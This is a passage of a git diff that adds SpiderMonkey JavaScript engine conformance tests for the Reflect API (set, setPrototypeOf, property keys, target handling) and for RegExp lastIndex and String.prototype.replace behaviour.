+assertThrowsValue(() => Reflect.preventExtensions(proxy), "fit");
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// If a proxy's preventExtensions handler returns true while leaving the target
+// extensible, that's a TypeError.
+obj = {};
+proxy = new Proxy(obj, {
+ preventExtensions() { return true; }
+});
+assertThrowsInstanceOf(() => Reflect.preventExtensions(proxy), TypeError);
+assertEq(Reflect.isExtensible(obj), true);
+assertEq(Reflect.isExtensible(proxy), true);
+
+// For more Reflect.preventExtensions tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/propertyKeys.js b/js/src/tests/non262/Reflect/propertyKeys.js
new file mode 100644
index 0000000000..6495a96fd9
--- /dev/null
+++ b/js/src/tests/non262/Reflect/propertyKeys.js
@@ -0,0 +1,84 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Test corner cases involving Reflect methods' propertyKey arguments.
+
+// keys - Array of propertyKey values to be tested.
+//
+// Each element of this array is a record with these properties:
+//
+// * value: a value that will be passed as a property key
+// to the various Reflect methods;
+//
+// * expected: (optional) the string or symbol that ToPropertyKey(value)
+// should return. If this is omitted, ToPropertyKey(value) === value.
+//
+var keys = [
+ {value: null, expected: "null"},
+ {value: undefined, expected: "undefined"},
+ {value: true, expected: "true"},
+ {value: 42, expected: "42"},
+ {value: "string"},
+ {value: ""},
+ {value: "string with \0"},
+ {value: new String("ok"), expected: "ok"},
+ {value: Symbol("sym")},
+ {value: Symbol.iterator},
+ {value: Object(Symbol.for("comet")), expected: Symbol.for("comet")},
+ {
+ value: {
+ toString() { return "key"; },
+ valueOf() { return "bad"; }
+ },
+ expected: "key"
+ },
+ {
+ value: {
+ toString: undefined,
+ valueOf() { return "fallback"; }
+ },
+ expected: "fallback"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return hint; }
+ },
+ expected: "string"
+ },
+ {
+ value: {
+ [Symbol.toPrimitive](hint) { return Symbol.for(hint); }
+ },
+ expected: Symbol.for("string")
+ }
+];
+
+for (var {value, expected} of keys) {
+ if (expected === undefined)
+ expected = value;
+
+ var obj = {};
+ assertEq(Reflect.defineProperty(obj, value, {value: 1, configurable: true}), true);
+ assertDeepEq(Reflect.ownKeys(obj), [expected]);
+ assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, value),
+ {value: 1,
+ writable: false,
+ enumerable: false,
+ configurable: true});
+ assertEq(Reflect.deleteProperty(obj, value), true);
+ assertEq(Reflect.has(obj, value), false);
+ assertEq(Reflect.set(obj, value, 113), true);
+ assertEq(obj[expected], 113);
+ assertEq(Reflect.has(obj, value), true);
+ assertEq(Reflect.get(obj, value), 113);
+}
+
+// ToPropertyKey can throw.
+var exc = {};
+var badKey = {toString() { throw exc; }};
+var methodNames = ["defineProperty", "deleteProperty", "has", "get", "getOwnPropertyDescriptor", "set"];
+for (var name of methodNames) {
+ assertThrowsValue(() => Reflect[name]({}, badKey), exc);
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/set.js b/js/src/tests/non262/Reflect/set.js
new file mode 100644
index 0000000000..83cd98b691
--- /dev/null
+++ b/js/src/tests/non262/Reflect/set.js
@@ -0,0 +1,280 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.set does property assignment.
+// With three arguments, this is pretty straightforward.
+var obj = {};
+assertEq(Reflect.set(obj, "prop", "value"), true);
+assertEq(obj.prop, "value");
+
+
+// === Various targets
+
+// It can assign array elements.
+var arr = ["duck", "duck", "duck"];
+assertEq(Reflect.set(arr, 2, "goose"), true);
+assertEq(arr[2], "goose");
+
+// It can extend an array.
+assertEq(Reflect.set(arr, 3, "Model T"), true);
+assertEq(arr.length, 4);
+
+// It can truncate an array.
+assertEq(Reflect.set(arr, "length", 1), true);
+assertDeepEq(arr, ["duck"]);
+
+// It won't assign to non-writable properties of String objects.
+var str = new String("hello");
+assertEq(Reflect.set(str, "0", "y"), false);
+assertEq(str[0], "h");
+assertEq(Reflect.set(str, "length", 700), false);
+assertEq(str.length, 5);
+
+
+// === Receivers
+// The optional fourth argument is the receiver, which [[Set]] methods use for
+// various things.
+
+// On ordinary objects, if the property has a setter, the receiver is passed as
+// the this-value to the setter.
+var expected;
+var obj = {
+ set prop(v) {
+ "use strict";
+ assertEq(v, 32);
+ assertEq(this, expected);
+ }
+};
+for (expected of [obj, {}, [], 37.3]) {
+ assertEq(Reflect.set(obj, "prop", 32, expected), true);
+}
+
+// If the property doesn't already exist, it is defined on the receiver.
+obj = {};
+var obj2 = {};
+assertEq(Reflect.set(obj, "prop", 47, obj2), true);
+assertDeepEq(obj, {});
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj2, "prop"),
+ {value: 47, writable: true, enumerable: true, configurable: true});
+
+// If the property doesn't already exist, and the receiver isn't an object, return false.
+for (var v of SOME_PRIMITIVE_VALUES) {
+ assertEq(Reflect.set({}, "x", 0, v), false);
+}
+
+// Receiver defaults to the target.
+obj = {};
+var hits;
+var expectedReceiver;
+var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "key");
+ assertEq(v, "value");
+ assertEq(r, expectedReceiver); // not obj
+ hits++;
+ return true;
+ }
+});
+hits = 0;
+expectedReceiver = proxy;
+assertEq(Reflect.set(proxy, "key", "value"), true);
+assertEq(hits, 1);
+
+// But not if explicitly present and undefined.
+hits = 0;
+expectedReceiver = undefined;
+assertEq(Reflect.set(proxy, "key", "value", undefined), true);
+assertEq(hits, 1);
+
+// Reflect.set can be used as fallback behavior in a proxy handler .set()
+// method.
+var log;
+obj = {
+ set prop(v) {
+ log += "p";
+ assertEq(v, "value");
+ assertEq(this, proxy); // not obj!
+ }
+};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(r, proxy);
+ log += "s";
+ return Reflect.set(t, k, v, r);
+ }
+});
+log = "";
+assertEq(Reflect.set(proxy, "prop", "value"), true);
+assertEq(log, "sp");
+
+
+// === Cross-compartment wrapper behavior.
+
+// When calling a cross-compartment wrapper, receiver is rewrapped for the
+// target compartment.
+var g = newGlobal();
+if (!("assertEq" in g))
+ g.assertEq = assertEq; // necessary in the browser
+g.eval(`
+ var hits;
+ var obj = {
+ set x(v) {
+ "use strict";
+ assertEq(this, receiver);
+ assertEq(v, "xyzzy");
+ hits++;
+ }
+ };
+ var receiver = {};
+`);
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", g.receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is from a different compartment than target.
+var receiver = {};
+g.receiver = receiver;
+g.hits = 0;
+assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+assertEq(g.hits, 1);
+
+// ...even when receiver is a primtive value, even undefined.
+for (receiver of SOME_PRIMITIVE_VALUES) {
+ g.receiver = receiver;
+ g.hits = 0;
+ assertEq(Reflect.set(g.obj, "x", "xyzzy", receiver), true);
+ assertEq(g.hits, 1);
+}
+
+
+// === Less than 3 arguments
+
+// With two arguments, the value is assumed to be undefined.
+obj = {};
+assertEq(Reflect.set(obj, "size"), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "size"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// With just one argument, the key is "undefined".
+obj = {};
+assertEq(Reflect.set(obj), true);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "undefined"),
+ {value: undefined, writable: true, enumerable: true, configurable: true});
+
+// For the no argument-case, see target.js.
+
+
+// === Failure cases
+
+// Non-writable data property
+obj = {};
+Reflect.defineProperty(obj, "x", {value: 0, writable: false});
+assertEq(Reflect.set(obj, "x", 1), false);
+assertEq(obj.x, 0);
+
+// The same, but inherited from a prototype
+var obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "x", 1), false);
+assertEq(obj2.hasOwnProperty("x"), false);
+assertEq(obj2.x, 0);
+
+// Getter, no setter
+obj = {};
+var desc = {get: () => 12, set: undefined, enumerable: false, configurable: true};
+Reflect.defineProperty(obj, "y", desc);
+assertEq(Reflect.set(obj, "y", 13), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// The same, but inherited from a prototype
+obj2 = Object.create(obj);
+assertEq(Reflect.set(obj2, "y", 1), false);
+assertEq(obj2.hasOwnProperty("y"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(obj, "y"), desc);
+
+// Proxy set handler returns a false value
+for (var no of [false, ""]) {
+ var hits = 0;
+ obj = {};
+ var proxy = new Proxy(obj, {
+ set(t, k, v, r) {
+ assertEq(t, obj);
+ assertEq(k, "x");
+ assertEq(v, 33);
+ assertEq(r, proxy);
+ hits++;
+ return no;
+ }
+ });
+ assertEq(Reflect.set(proxy, "x", 33), false);
+ assertEq(hits, 1);
+ assertEq("x" in obj, false);
+}
+
+// Proxy handler method throws
+obj = {};
+proxy = new Proxy(obj, {
+ set(t, k, v, r) { throw "i don't like " + v; }
+});
+assertThrowsValue(() => Reflect.set(proxy, "food", "cheese"), "i don't like cheese");
+
+// If a Proxy set handler breaks the object invariants, it's a TypeError.
+for (obj of [{a: 0}, {get a() { return 0; }}]) {
+ Object.freeze(obj);
+ proxy = new Proxy(obj, {
+ set(t, k, v, r) { return true; }
+ });
+ assertThrowsInstanceOf(() => Reflect.set(proxy, "a", "b"), TypeError);
+}
+
+// Per spec, this should first call p.[[Set]]("0", 42, a) and
+// then (since p has no own properties) a.[[Set]]("0", 42, a).
+// The latter should not define a property on p.
+var a = [0, 1, 2, 3];
+var p = Object.create(a);
+Reflect.set(p, "0", 42, a);
+assertEq(p.hasOwnProperty("0"), false);
+assertDeepEq(Reflect.getOwnPropertyDescriptor(a, "0"),
+ {value: 42, writable: true, enumerable: true, configurable: true});
+
+// Test behavior of ordinary objects' [[Set]] method (ES6 9.1.9).
+// On an ordinary object, if the property key isn't present, [[Set]] calls
+// receiver.[[GetOwnProperty]]() and then receiver.[[DefineProperty]]().
+var log;
+obj = {};
+var proxyTarget = {};
+var existingDescriptor, expected, defineResult;
+var receiver = new Proxy(proxyTarget, {
+ getOwnPropertyDescriptor(t, k) {
+ log += "g";
+ return existingDescriptor;
+ },
+ defineProperty(t, k, desc) {
+ log += "d";
+ assertEq(t, proxyTarget);
+ assertEq(k, "prop");
+ assertDeepEq(desc, expected);
+ return defineResult;
+ }
+});
+existingDescriptor = undefined;
+expected = {value: 5, writable: true, enumerable: true, configurable: true};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 5, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+existingDescriptor = {value: 7, writable: true, enumerable: false, configurable: true};
+expected = {value: 4};
+for (var defineResult of [true, false]) {
+ log = "";
+ assertEq(Reflect.set(obj, "prop", 4, receiver), defineResult);
+ assertEq(log, "gd");
+}
+
+
+// For more Reflect.set tests, see target.js and propertyKeys.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/setPrototypeOf.js b/js/src/tests/non262/Reflect/setPrototypeOf.js
new file mode 100644
index 0000000000..ed7857a028
--- /dev/null
+++ b/js/src/tests/non262/Reflect/setPrototypeOf.js
@@ -0,0 +1,72 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Reflect.setPrototypeOf changes an object's [[Prototype]].
+var obj = {};
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+var proto = {};
+assertEq(Reflect.setPrototypeOf(obj, proto), true);
+assertEq(Object.getPrototypeOf(obj), proto);
+
+// It can change an object's [[Prototype]] to null.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, null), true);
+assertEq(Object.getPrototypeOf(obj), null);
+
+// The proto argument is required too.
+obj = {};
+assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj), TypeError);
+
+// The proto argument must be either null or an object.
+for (proto of [undefined, false, 0, 1.6, "that", Symbol.iterator]) {
+ assertThrowsInstanceOf(() => Reflect.setPrototypeOf(obj, proto), TypeError);
+}
+
+// Return false if the target isn't extensible.
+proto = {};
+obj = Object.preventExtensions(Object.create(proto));
+assertEq(Reflect.setPrototypeOf(obj, {}), false);
+assertEq(Reflect.setPrototypeOf(obj, null), false);
+assertEq(Reflect.setPrototypeOf(obj, proto), true); // except if not changing anything
+
+// Return false rather than create a [[Prototype]] cycle.
+obj = {};
+assertEq(Reflect.setPrototypeOf(obj, obj), false);
+
+// Don't create a [[Prototype]] cycle involving 2 objects.
+obj = Object.create(proto);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// Don't create a longish [[Prototype]] cycle.
+for (var i = 0; i < 256; i++)
+ obj = Object.create(obj);
+assertEq(Reflect.setPrototypeOf(proto, obj), false);
+
+// The spec claims we should allow creating cycles involving proxies. (The
+// cycle check quietly exits on encountering the proxy.)
+obj = {};
+var proxy = new Proxy(Object.create(obj), {});
+
+assertEq(Reflect.setPrototypeOf(obj, proxy), true);
+assertEq(Reflect.getPrototypeOf(obj), proxy);
+assertEq(Reflect.getPrototypeOf(proxy), obj);
+
+// If a proxy handler returns a false-y value, return false.
+var hits = 0;
+proto = {name: "proto"};
+obj = {name: "obj"};
+proxy = new Proxy(obj, {
+ setPrototypeOf(t, p) {
+ assertEq(t, obj);
+ assertEq(p, proto);
+ hits++;
+ return 0;
+ }
+});
+
+assertEq(Reflect.setPrototypeOf(proxy, proto), false);
+assertEq(hits, 1);
+
+// For more Reflect.setPrototypeOf tests, see target.js.
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/shell.js b/js/src/tests/non262/Reflect/shell.js
new file mode 100644
index 0000000000..2aa5397ed9
--- /dev/null
+++ b/js/src/tests/non262/Reflect/shell.js
@@ -0,0 +1,9 @@
+// List of a few values that are not objects.
+var SOME_PRIMITIVE_VALUES = [
+ undefined, null,
+ false,
+ -Infinity, -1.6e99, -1, -0, 0, Math.pow(2, -1074), 1, 4294967295,
+ Number.MAX_SAFE_INTEGER, Number.MAX_SAFE_INTEGER + 1, 1.6e99, Infinity, NaN,
+ "", "Phaedo",
+ Symbol(), Symbol("iterator"), Symbol.for("iterator"), Symbol.iterator
+];
diff --git a/js/src/tests/non262/Reflect/surfaces.js b/js/src/tests/non262/Reflect/surfaces.js
new file mode 100644
index 0000000000..f3bac51873
--- /dev/null
+++ b/js/src/tests/non262/Reflect/surfaces.js
@@ -0,0 +1,59 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check surface features of the Reflect object.
+assertEq(typeof Reflect, 'object');
+assertEq(Object.getPrototypeOf(Reflect), Object.prototype);
+assertEq(Reflect.toString(), '[object Reflect]');
+assertThrowsInstanceOf(() => new Reflect, TypeError);
+
+var desc = Object.getOwnPropertyDescriptor(this, "Reflect");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, true);
+assertEq(desc.writable, true);
+
+for (const name in Reflect)
+ throw new Error("Reflect should not have any enumerable properties");
+
+// The name and length of all the standard Reflect methods.
+var methods = {
+ apply: 3,
+ construct: 2,
+ defineProperty: 3,
+ deleteProperty: 2,
+ get: 2,
+ getOwnPropertyDescriptor: 2,
+ getPrototypeOf: 1,
+ has: 2,
+ isExtensible: 1,
+ ownKeys: 1,
+ preventExtensions: 1,
+ set: 3,
+ setPrototypeOf: 2
+};
+
+// Check that all Reflect properties are listed above.
+for (const name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to the list of methods above.
+ if (typeof name !== "symbol" && name !== "parse")
+ assertEq(name in methods, true, `unexpected property found: Reflect.${name}`);
+}
+
+// Check the .length and property attributes of each Reflect method.
+for (const name of Object.keys(methods)) {
+ var desc = Object.getOwnPropertyDescriptor(Reflect, name);
+ assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ assertEq(desc.writable, true);
+ var f = desc.value;
+ assertEq(typeof f, "function");
+ assertEq(f.length, methods[name]);
+}
+
+// Check that the SpiderMonkey "resolve hook" mechanism does not resurrect the
+// Reflect property once it is deleted.
+delete this.Reflect;
+assertEq("Reflect" in this, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Reflect/target.js b/js/src/tests/non262/Reflect/target.js
new file mode 100644
index 0000000000..f35fe816ad
--- /dev/null
+++ b/js/src/tests/non262/Reflect/target.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check correct handling of the `target` argument shared by every Reflect method.
+
+// For each standard Reflect method, an array of arguments
+// that would be OK after a suitable target argument.
+var methodInfo = {
+ apply: [undefined, []],
+ construct: [[]],
+ defineProperty: ["x", {}],
+ deleteProperty: ["x"],
+ get: ["x", {}],
+ getOwnPropertyDescriptor: ["x"],
+ getPrototypeOf: [],
+ has: ["x"],
+ isExtensible: [],
+ ownKeys: [],
+ preventExtensions: [],
+ set: ["x", 0],
+ setPrototypeOf: [{}]
+};
+
+// Check that all Reflect properties are listed above.
+for (const name of Reflect.ownKeys(Reflect)) {
+ // If this assertion fails, congratulations on implementing a new Reflect feature!
+ // Add it to methodInfo above.
+ if (typeof name !== "symbol" && name !== "parse")
+ assertEq(name in methodInfo, true);
+}
+
+for (const name of Object.keys(methodInfo)) {
+ var args = methodInfo[name];
+
+ // The target argument is required.
+ assertThrowsInstanceOf(Reflect[name], TypeError);
+
+ // Throw if the target argument is not an object.
+ for (var value of SOME_PRIMITIVE_VALUES) {
+ assertThrowsInstanceOf(() => Reflect[name](value, ...args), TypeError);
+ }
+}
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/RegExp/15.10.5-01.js b/js/src/tests/non262/RegExp/15.10.5-01.js
new file mode 100644
index 0000000000..2f8429218a
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.5-01.js
@@ -0,0 +1,21 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614603;
+var summary = "RegExp.length";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(RegExp.length, 2);
+assertEq(/a/.constructor.length, 2);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/15.10.6.2-2.js b/js/src/tests/non262/RegExp/15.10.6.2-2.js
new file mode 100644
index 0000000000..3dfb6ac74f
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.6.2-2.js
@@ -0,0 +1,292 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 18 Feb 2002
+ * SUMMARY: Testing re.exec(str) when re.lastIndex is < 0 or > str.length
+ *
+ * Case 1: If re has the global flag set, then re(str) should be null
+ * Case 2: If re doesn't have this set, then re(str) should be unaffected
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=76717
+ *
+ *
+ * From the ECMA-262 Final spec:
+ *
+ * 15.10.6.2 RegExp.prototype.exec(string)
+ * Performs a regular expression match of string against the regular
+ * expression and returns an Array object containing the results of
+ * the match, or null if the string did not match.
+ *
+ * The string ToString(string) is searched for an occurrence of the
+ * regular expression pattern as follows:
+ *
+ * 1. Let S be the value of ToString(string).
+ * 2. Let length be the length of S.
+ * 3. Let lastIndex be the value of the lastIndex property.
+ * 4. Let i be the value of ToInteger(lastIndex).
+ * 5. If the global property is false, let i = 0.
+ * 6. If i < 0 or i > length then set lastIndex to 0 and return null.
+ * 7. Call [[Match]], giving it the arguments S and i.
+ * If [[Match]] returned failure, go to step 8;
+ * otherwise let r be its State result and go to step 10.
+ * 8. Let i = i+1.
+ * 9. Go to step 6.
+ * 10. Let e be r's endIndex value.
+ * 11. If the global property is true, set lastIndex to e.
+ *
+ * etc.
+ *
+ *
+ * So:
+ *
+ * A. If the global flag is not set, |lastIndex| is set to 0
+ * before the match is attempted; thus the match is unaffected.
+ *
+ * B. If the global flag IS set and re.lastIndex is >= 0 and <= str.length,
+ * |lastIndex| is incremented every time there is a match; not from
+ * i to i+1, but from i to "endIndex" e:
+ *
+ * e = (index of last input character matched so far by the pattern) + 1
+ *
+ * The match is then attempted from this position in the string (Step 7).
+ *
+ * C. When the global flag IS set and re.lastIndex is < 0 or > str.length,
+ * |lastIndex| is set to 0 and the match returns null.
+ *
+ *
+ * Note the |lastIndex| property is writeable, and may be set arbitrarily
+ * by the programmer - and we will do that below.
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 76717;
+var summary = 'Testing re.exec(str) when re.lastIndex is < 0 or > str.length';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+
+
+/******************************************************************************
+ *
+ * Case 1 : when the global flag is set -
+ *
+ *****************************************************************************/
+pattern = /abc/gi;
+string = 'AbcaBcabC';
+
+status = inSection(1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(2);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('aBc');
+addThis();
+
+status = inSection(3);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('abC');
+addThis();
+
+/*
+ * At this point |lastIndex| is > string.length, so the match should be null -
+ */
+status = inSection(4);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(6);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = null;
+addThis();
+
+
+
+/******************************************************************************
+ *
+ * Case 2: repeat all the above cases WITHOUT the global flag set.
+ * According to EMCA. |lastIndex| should get set to 0 before the match.
+ *
+ * Therefore re.exec(str) should be unaffected; thus our expected values
+ * below are now DIFFERENT when |lastIndex| is < 0 or > str.length
+ *
+ *****************************************************************************/
+
+pattern = /abc/i;
+string = 'AbcaBcabC';
+
+status = inSection(16);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc');
+addThis();
+
+status = inSection(17);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('aBc') as before -
+addThis();
+
+status = inSection(18);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc'); // NOT Array('abC') as before -
+addThis();
+
+/*
+ * At this point above, |lastIndex| WAS > string.length, but not here -
+ */
+status = inSection(19);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now let's set |lastIndex| to -1
+ */
+status = inSection(20);
+pattern.lastIndex = -1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+/*
+ * Now try some edge-case values. Thanks to the work done in
+ * http://bugzilla.mozilla.org/show_bug.cgi?id=124339, |lastIndex|
+ * is now stored as a double instead of a uint32_t (unsigned integer).
+ *
+ * Note 2^32 -1 is the upper bound for uint32's, but doubles can go
+ * all the way up to Number.MAX_VALUE. So that's why we need cases
+ * between those two numbers.
+ */
+status = inSection(21);
+pattern.lastIndex = Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(22);
+pattern.lastIndex = -Math.pow(2,32);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(23);
+pattern.lastIndex = Math.pow(2,32) + 1;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(24);
+pattern.lastIndex = -(Math.pow(2,32) + 1);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(25);
+pattern.lastIndex = Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(26);
+pattern.lastIndex = -Math.pow(2,32) * 2;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(27);
+pattern.lastIndex = Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -;
+ addThis();
+
+status = inSection(28);
+pattern.lastIndex = -Math.pow(2,40);
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(29);
+pattern.lastIndex = Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+status = inSection(30);
+pattern.lastIndex = -Number.MAX_VALUE;
+actualmatch = pattern.exec(string);
+expectedmatch = Array('Abc') // NOT null as before -
+ addThis();
+
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+}
diff --git a/js/src/tests/non262/RegExp/15.10.7.5-01.js b/js/src/tests/non262/RegExp/15.10.7.5-01.js
new file mode 100644
index 0000000000..ab9d071a7e
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.10.7.5-01.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 465199;
+var summary = "RegExp lastIndex property set should not coerce type to number";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var called = false;
+var o = { valueOf: function() { called = true; return 1; } };
+var r = /a/g;
+var desc, m;
+
+assertEq(r.lastIndex, 0);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 0);
+assertEq(desc.writable, true);
+
+r.lastIndex = o;
+
+assertEq(r.lastIndex, o);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, o);
+assertEq(desc.writable, true);
+
+assertEq(called, false);
+assertEq(r.exec("aaaa").length, 1);
+assertEq(called, true);
+assertEq(r.lastIndex, 2);
+
+desc = Object.getOwnPropertyDescriptor(r, "lastIndex");
+assertEq(desc.enumerable, false);
+assertEq(desc.configurable, false);
+assertEq(desc.value, 2);
+assertEq(desc.writable, true);
+
+
+r.lastIndex = -0.2;
+assertEq(r.lastIndex, -0.2);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 1);
+
+m = r.exec("aaaa");
+assertEq(Array.isArray(m), true);
+assertEq(m.length, 1);
+assertEq(m[0], "a");
+assertEq(r.lastIndex, 2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/RegExp/15.5.4.11.js b/js/src/tests/non262/RegExp/15.5.4.11.js
new file mode 100644
index 0000000000..a5515286a0
--- /dev/null
+++ b/js/src/tests/non262/RegExp/15.5.4.11.js
@@ -0,0 +1,498 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 392378;
+var summary = '15.5.4.11 - String.prototype.replace';
+var rex, f, a, i;
+
+reportCompare(
+ 2,
+ String.prototype.replace.length,
+ "Section 1"
+);
+
+reportCompare(
+ "321",
+ String.prototype.replace.call(123, "123", "321"),
+ "Section 2"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(),
+ "Section 3"
+);
+
+reportCompare(
+ "undefined**",
+ "***".replace("*"),
+ "Section 4"
+);
+
+reportCompare(
+ "xnullz",
+ "xyz".replace("y", null),
+ "Section 5"
+);
+
+reportCompare(
+ "x123",
+ "xyz".replace("yz", 123),
+ "Section 6"
+);
+
+reportCompare(
+ "/x/g/x/g/x/g",
+ "xxx".replace(/x/g, /x/g),
+ "Section 7"
+);
+
+reportCompare(
+ "ok",
